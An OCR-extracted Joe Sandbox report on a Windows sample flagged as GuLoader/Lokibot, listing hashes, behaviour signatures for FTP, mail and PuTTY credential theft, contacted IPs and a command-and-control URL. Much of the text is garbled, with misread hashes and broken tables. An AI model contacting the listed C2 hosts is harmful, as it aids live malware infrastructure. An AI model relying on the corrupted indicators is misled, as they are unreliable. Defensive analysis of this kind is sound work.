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Windows Analysis Report 8rbuJ8Ycvl.exe
Overview

General Information Detection Signatures Classification

Sample 8rbuJ8Ycvl.exe
Name: MALICIOUS GuLoader behavior detected
Analysis ID: 451510 Multi AV Scanner. detection for subm...

MD5: .
546f9c26¢cb739f1.. Yara detected Lokibot
SHA1L:
452ee936bbade0.. Contains functionality to detect hard...
SHA256: 6bd6ag8e685288c.. - :
Detected RDTSC dummy instruction...
Infos: @ 4t 2y

Whitelisted: false

Confid 100% Tries to harvest and steal ftp loginic...
onfidence: Q
Tries to steal Mail credentials (via fil...

Most interesting Screenshot:

Process Tree

= System is wl0x64

. (@J 8rbuJ8Ycvl.exe (PID: 6976 cmdline: 'C:\Users\user\Desktop\8rbuJ8Ycvl.exe' MD5: 546F9C26CB739F1E3EASBAL605AA7328)
e [ 8rbul8Ycvl.exe (PID: 5412 cmdline: 'C:\Users\user\Desktop\8rbuJ8Ycvl.exe' MD5: 546F9C26CB739F1E3EASBA1605AA7328)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source Rule Description Author Strings
dump.pcap JoeSecurity_Lokibot_1 Yara detected Joe Security
Lokibot

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview
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@ Click to jump to signature section

AV Detection: | |

Multi AV Scanner detection for submitted file

Malware Analysis System Evasion:

Anti Debugging:

a2

Stealing of Sensitive Information:

GuLoader behavior detected

Yara detected Lokibot

Remote Access Functionality:

Yara detected Lokibot

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Control Effects
Valid Windows Path Process Masquerading os Security Software Remote Email Exfiltration Encrypted Eavesdrop on
Accounts Management  Interception  Injection Credential  Discovery [§ Services Collection [} Over Other Channel Insecure
Instrumentation Dumping Network Network
Medium Communicatic
Default  Scheduled Boot or Boot or Logon Virtualization/Sandbox Credentials Process Discovery Remote Archive Exfiltration  Non- Exploit SS7 tc
Accounts Task/Job Logon Initialization ~ Evasion in Desktop Collected Over Application Redirect Phor
Initialization  Scripts Registry Protocol Data Bluetooth  Layer Calls/SMS
Scripts Protocol
Domain At (Linux) Logon Script Logon Script  Process Security Virtualization/Sandbox SMB/Windows Data from Automated Application Exploit SS7 tc
Accounts (Windows)  (Windows)  Injection Account  Evasion Admin Shares Local Exfiltration  Layer Track Device
Manager System Protocol Location
Local At (Windows)  Logon Script Logon Script  Obfuscated Files or ~ NTDS Remote System Distributed Input Scheduled Protocol SIM Card
Accounts (Mac) (Mac) Information Discovery Component  Capture Transfer Impersonation Swap
Object Model
Cloud Cron Network Network Software Packing LSA System Information SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Logon Script Secrets Discovery Transfer Channels Device
Size Limits Communicatic

Behavior Graph
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Behavior Graph
D: 451510
Sample: 8rbuJBYcvl.exe SUSPICIOUS
Startdate: 2000712021

Architecture:  WINDOWS

Score: 100

i st msenyom £34

and other dynamic analysis.
tools (process name
or module or function)

CcLEAN

UNRNOWN)

started

Tries to detect sandboxes.

59 sbussveviere

i B
Detected RDTSC dummy
B sucton sequence “Tries to detect Any.un 2 other signatures
(CPUID execution measurement) “"ﬂm m‘ﬁim .

176.9.242.251, 49773, 49774, 49775

199.195.117.165, 443, 49772
HETZNER-ASDE A2HOSTI

Germany &

Tries to harvest and

steal Putty / WinSCP

information (sessions,
passwords, etc)

Tries to steal Mail
credentials (via file:

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

=
®

«Q
@®
=}
o

Process
Signature
Created File
DNS/IP Info

+EEEC]

Is Dropped

Is Windows Process

+*
*n

Number of created Registry Values

Number of created Files

Y

weom.  Visual Basic

ERZIC

i1 Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Q@ 2|

Is malicious

Internet

8rbuJsYcvl.exe

Tries to harvest and

steal ftp login credentials SEEEFTHES

access)
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GNLONH... ATJBEMH!

0 Type here to search it =4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

8rbuJ8Ycvl.exe 41% ReversingLabs Win32.Trojan.GuLoader
Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp:/famirantoyo.ir/az/five/fre.php 0% Avira URL Cloud safe
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Domains and IPs

Contacted Domains

Name
andreameixueiro.com

amirantoyo.ir

Contacted URLs

Name

http://amirantoyo.ir/az/five/fre.php

Contacted IPs

Public

1P Domain
176.9.242.251 amirantoyo.ir

199.195.117.165

Private

P
192.168.2.1

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:
Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Copyright Joe Security LLC 2021

andreameixueiro.com

IP Active
199.195.117.165 true false
176.9.242.251 true false
Malicious
false
Country Flag
Germany -
United States =

33.0.0 White Diamond
451510

20.07.2021

18:32:00

CloudBasic

Oh 13m 11s

false

light

8rbuJ8Ycvl.exe
default.jbs

Malicious

Antivirus Detection

Antivirus Detection

e Avira URL Cloud: safe

ASN
24940
55293

ASN Name
HETZNER-ASDE
A2HOSTINGUS

Reputation
unknown

unknown

Reputation

unknown

Malicious
false

false

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211

Suspected Instruction Hammering Hide Perf
29

o o o o

e HCA enabled

e EGA enabled

e HDC enabled

e AMSI enabled

default

Timeout

MAL
mal100.troj.spyw.evad.winEXE@3/2@570/3

e Successful, ratio: 100%

e Successful, ratio: 30.1% (good quality ratio 13.1%)

e Quality average: 23.7%
e Quality standard deviation: 32.5%

Failed
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Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

18:36:25

API Interceptor

e Adjust boot time

e Enable AMSI
e Found application associated with file extension: .exe
Show All
Type Description

Joe Sandbox View | Context

IPs

Match
176.9.242.251

199.195.117.165

Domains

Match
amirantoyo.ir

andreameixueiro.com

ASN

Match
HETZNER-ASDE

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

566x Sleep call for process: 8rbuJ8Ycvl.exe modified

Detection

malicious

malicious
malicious

malicious

Detection
malicious

malicious

malicious

malicious

Detection
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse
Browse

Browse

Link
Browse

Browse

Browse

Browse

Link
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Context

e amirantoy
o.ir/az/fi
velfre.php

Context
e 176.9.242.251

e 199.195.11
7.165

e 199.195.11
7.165

e 199.195.11
7.165

Context
e 95217.228.176
e 88.99.66.31

e 195.201.22
5.248

e 197.242.86.246
e 116.202.183.50
e 116.202.183.50
e 116.202.183.50

e 195.201.22
5.248

e 116.202.183.50

e 195.201.22
5.248

e 78.47.57.7

e 195.201.22
5.248

e 88.99.66.31
e 88.99.66.31
e 88.99.66.31
e 95.217.123.66
e 116.202.183.50

e 195.201.22
5.248
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https://view.joesandbox.com/analysis/351728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid
https://view.joesandbox.com/analysis/353725/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353725/html/none?idtype=webid
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid
https://view.joesandbox.com/analysis/353683/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353683/html/none?idtype=webid
https://view.joesandbox.com/analysis/353672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353672/html/none?idtype=webid
https://view.joesandbox.com/analysis/353651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353651/html/none?idtype=webid
https://view.joesandbox.com/analysis/353642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353642/html/none?idtype=webid
https://view.joesandbox.com/analysis/353630/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353630/html/none?idtype=webid
https://view.joesandbox.com/analysis/353624/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353624/html/none?idtype=webid
https://view.joesandbox.com/analysis/353623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353623/html/none?idtype=webid
https://view.joesandbox.com/analysis/353539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353539/html/none?idtype=webid
https://view.joesandbox.com/analysis/353536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353536/html/none?idtype=webid
https://view.joesandbox.com/analysis/353483/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353483/html/none?idtype=webid
https://view.joesandbox.com/analysis/353388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353388/html/none?idtype=webid
https://view.joesandbox.com/analysis/353383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353383/html/none?idtype=webid
https://view.joesandbox.com/analysis/353332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353332/html/none?idtype=webid
https://view.joesandbox.com/analysis/353325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353325/html/none?idtype=webid
https://view.joesandbox.com/analysis/353245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353245/html/none?idtype=webid
https://view.joesandbox.com/analysis/353235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353235/html/none?idtype=webid

Match

A2HOSTINGUS

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19
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Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

116.202.183.50
88.99.66.31
68.66.248.52

199.195.11
7.165

199.195.11
7.165

85.187.128.246
85.187.128.246
85.187.128.246
85.187.128.246
85.187.128.246

199.195.11
7.165

85.187.128.246

85.187.128.6
68.66.226.79

199.195.11
7.147

199.195.11
7.147

199.195.11
7.147

68.66.220.30

199.195.11
7.147

85.187.128.6
68.66.224.18
85.187.128.34

Context

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165

199.195.11
7.165
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https://view.joesandbox.com/analysis/353223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353223/html/none?idtype=webid
https://view.joesandbox.com/analysis/353221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353221/html/none?idtype=webid
https://view.joesandbox.com/analysis/352052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352052/html/none?idtype=webid
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351728/html/none?idtype=webid
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351421/html/none?idtype=webid
https://view.joesandbox.com/analysis/351294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351294/html/none?idtype=webid
https://view.joesandbox.com/analysis/351291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351291/html/none?idtype=webid
https://view.joesandbox.com/analysis/351286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351286/html/none?idtype=webid
https://view.joesandbox.com/analysis/350898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350898/html/none?idtype=webid
https://view.joesandbox.com/analysis/350892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350892/html/none?idtype=webid
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350842/html/none?idtype=webid
https://view.joesandbox.com/analysis/350581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350581/html/none?idtype=webid
https://view.joesandbox.com/analysis/345588/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/345588/html/none?idtype=webid
https://view.joesandbox.com/analysis/344758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344758/html/none?idtype=webid
https://view.joesandbox.com/analysis/343905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343905/html/none?idtype=webid
https://view.joesandbox.com/analysis/343729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343729/html/none?idtype=webid
https://view.joesandbox.com/analysis/343695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343695/html/none?idtype=webid
https://view.joesandbox.com/analysis/343547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343547/html/none?idtype=webid
https://view.joesandbox.com/analysis/343410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343410/html/none?idtype=webid
https://view.joesandbox.com/analysis/343179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/343179/html/none?idtype=webid
https://view.joesandbox.com/analysis/342597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342597/html/none?idtype=webid
https://view.joesandbox.com/analysis/342561/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342561/html/none?idtype=webid
https://view.joesandbox.com/analysis/353723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353723/html/none?idtype=webid
https://view.joesandbox.com/analysis/353718/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353718/html/none?idtype=webid
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid
https://view.joesandbox.com/analysis/353669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353669/html/none?idtype=webid
https://view.joesandbox.com/analysis/353651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353651/html/none?idtype=webid
https://view.joesandbox.com/analysis/353642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353642/html/none?idtype=webid
https://view.joesandbox.com/analysis/353630/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353630/html/none?idtype=webid
https://view.joesandbox.com/analysis/353623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353623/html/none?idtype=webid
https://view.joesandbox.com/analysis/353601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353601/html/none?idtype=webid
https://view.joesandbox.com/analysis/353465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353465/html/none?idtype=webid
https://view.joesandbox.com/analysis/353397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353397/html/none?idtype=webid
https://view.joesandbox.com/analysis/353369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353369/html/none?idtype=webid
https://view.joesandbox.com/analysis/353363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353363/html/none?idtype=webid
https://view.joesandbox.com/analysis/353360/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353360/html/none?idtype=webid
https://view.joesandbox.com/analysis/353302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353302/html/none?idtype=webid
https://view.joesandbox.com/analysis/353284/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353284/html/none?idtype=webid
https://view.joesandbox.com/analysis/353279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353279/html/none?idtype=webid
https://view.joesandbox.com/analysis/353245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353245/html/none?idtype=webid
https://view.joesandbox.com/analysis/353243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353243/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 199.195.11
7.165

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Roaming\C79A3B\B52B3F.Ick

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!
A

false

high, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9
_d06ed635-68f6-4e€9a-955c-4899f5f57h9a

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

data

dropped

104466

0.6020567963542807

false

12:4/g/g/g/g/g/g/g/glglalalglglglglglglglalglglglglglglalalglglglgv:f
382F1DF2F660B7B9CF98E7196150131D
09F1A46D6EOOEE383BB2C097982DFAAB294C9A91
2F7A4EB52AD3759BF4B96F3A4C0B267AE9A07F1E6E293CFBF699B3626A8F6A7C

9EF59D4CE864E8716BOFB53EBAE2CC015BD4397DF15A91548FB58F0238739B6C14A05AC440D8D94E77FALIAE9963A91EDDI1IA9EODB5762C0C698DA6903D47B2
9

false

low

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:

PE32 executable (GUI) Intel 80386, for MS Windows
6.2334205108883545

e Win32 Executable (generic) a (10002005/4)
99.15%

e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

8rbuJ8Ycvl.exe
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https://view.joesandbox.com/analysis/353223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353223/html/none?idtype=webid

General
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE
text 0x1000 0x31b84 0x32000 False
.data 0x33000 0x1290 0x1000 False
.rsrc 0x35000 Ox6dle 0x7000 False

Resources

Imports

Version Infos

Possible Origin

Language of compilation system

Copyright Joe Security LLC 2021

ZLIB Complexity

f8fcd4ccfde4e8d0

0x4019b0
text
false
0x400000

windows gui

241664

546f9c26ch739fle3ea5bal605aa7328

452ee936bbade0510c6¢c56d6e2b25f6ce7b835ff

6bd6a8e685288calafld41d4d88fabd465f211c7cef32c0
0c994b89eala94f51

C454130df142f374f8423d025b4b989b7667b0c7c91558e
88f0e31723bfd01f22ac539c31ab5d0ef4a0dc05e665773
16bea935403b340b188e79dd0f84a01ac9

3072:53BepJiZa/UNKcz3YU3OVEVGrBI4IsHIIZapGBR:
PiUUQcz3zYEMIZHP

is program cannot be run in DOS mode....$.
*...B...d..B.Rich.B.......... PE.L...U.oeeee

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x55C60000 [Sat Aug 8 13:11:28 2015 UTC]

o » o » O &

e9f7dd0dala2al266893elaedef42b67

0.39130859375 data
0.00634765625 data
0.481828962054 data

Country where language is spoken

File Type

Entropy
6.38659297214

0.0

5.45374661294

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Map
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Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 20, 2021 18:36:20.961240053 CEST 192.168.2.4 8.8.8.8 0x5c53 Standard query  andreameix A (IP address) IN (0x0001)
0) ueiro.com

Jul 20, 2021 18:36:23.760340929 CEST 192.168.2.4 8.8.8.8 Oxad6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:24.272994995 CEST 192.168.2.4 8.8.8.8 Oxefdc Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:24.633919954 CEST 192.168.2.4 8.8.8.8 0x29a6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:25.158440113 CEST 192.168.2.4 8.8.8.8 0x9fle Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:25.688251019 CEST 192.168.2.4 8.8.8.8 Oxea95 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:26.186156034 CEST 192.168.2.4 8.8.8.8 0x606¢ Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:26.706307888 CEST 192.168.2.4 8.8.8.8 0xfb18 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:27.213114977 CEST 192.168.2.4 8.8.8.8 0xe381 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:27.714848995 CEST 192.168.2.4 8.8.8.8 Oxba2e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:28.210483074 CEST 192.168.2.4 8.8.8.8 Ox6fea Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:28.726825953 CEST 192.168.2.4 8.8.8.8 0xdb2b Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:29.211668968 CEST 192.168.2.4 8.8.8.8 0xe731 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:29.683952093 CEST 192.168.2.4 8.8.8.8 0xc9c0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
)

Jul 20, 2021 18:36:30.160231113 CEST 192.168.2.4 8.8.8.8 Oxfb7a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:30.649864912 CEST 192.168.2.4 8.8.8.8 0Oxd81f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:31.177767992 CEST 192.168.2.4 8.8.8.8 0x587a Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:31.653657913 CEST 192.168.2.4 8.8.8.8 0x7a96 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:32.139123917 CEST 192.168.2.4 8.8.8.8 Oxebe? Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:32.619491100 CEST 192.168.2.4 8.8.8.8 Oxcébe Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:33.092626095 CEST 192.168.2.4 8.8.8.8 0x3121 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:36:33.586441040 CEST 192.168.2.4 8.8.8.8 Oxbcdd Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:34.072695971 CEST 192.168.2.4 8.8.8.8 0x677d Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:34.555155993 CEST 192.168.2.4 8.8.8.8 0x2ch4 Standard query  amirantoyo.ir A (IP address) IN (0x0001)

0
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 20, 2021 18:36:35.028356075 CEST 192.168.2.4 8.8.8.8 0xb8f3 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:35.516902924 CEST 192.168.2.4 8.8.8.8 0x26ba Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:36.019124985 CEST 192.168.2.4 8.8.8.8 Oxcabe Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:36.499034882 CEST 192.168.2.4 8.8.8.8 0x8d55 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
0

Jul 20, 2021 18:36:37.001068115 CEST 192.168.2.4 8.8.8.8 0x51ca Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0

Jul 20, 2021 18:36:37.478593111 CEST 192.168.2.4 8.8.8.8 0x19c6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:37.967210054 CEST 192.168.2.4 8.8.8.8 0xb95e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:38.468914986 CEST 192.168.2.4 8.8.8.8 0Oxcc78 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:38.942045927 CEST 192.168.2.4 8.8.8.8 Oxaeec Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:39.423223972 CEST 192.168.2.4 8.8.8.8 0x85¢c2 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:39.877516985 CEST 192.168.2.4 8.8.8.8 Oxbc4f Standard query  amirantoyo.ir A (IP address) IN (0x0001)
@

Jul 20, 2021 18:36:40.350661993 CEST 192.168.2.4 8.8.8.8 0x527e Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

Jul 20, 2021 18:36:40.819973946 CEST 192.168.2.4 8.8.8.8 0x5639 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:41.283303976 CEST 192.168.2.4 8.8.8.8 Ox7ela Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:41.751902103 CEST 192.168.2.4 8.8.8.8 Oxe2bc Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:42.203541994 CEST 192.168.2.4 8.8.8.8 Ox4ca8 Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:42.713023901 CEST 192.168.2.4 8.8.8.8 Oxbacf Standard query ~ amirantoyo.ir A (IP address) IN (0x0001)
©)

Jul 20, 2021 18:36:43.182126999 CEST 192.168.2.4 8.8.8.8 0x54c6 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:43.658797026 CEST 192.168.2.4 8.8.8.8 0x619c Standard query  amirantoyo.ir A (IP address) IN (0x0001)
()

Jul 20, 2021 18:36:44.106539011 CEST 192.168.2.4 8.8.8.8 0x5ff0 Standard query  amirantoyo.ir A (IP address) IN (0x0001)
(0)

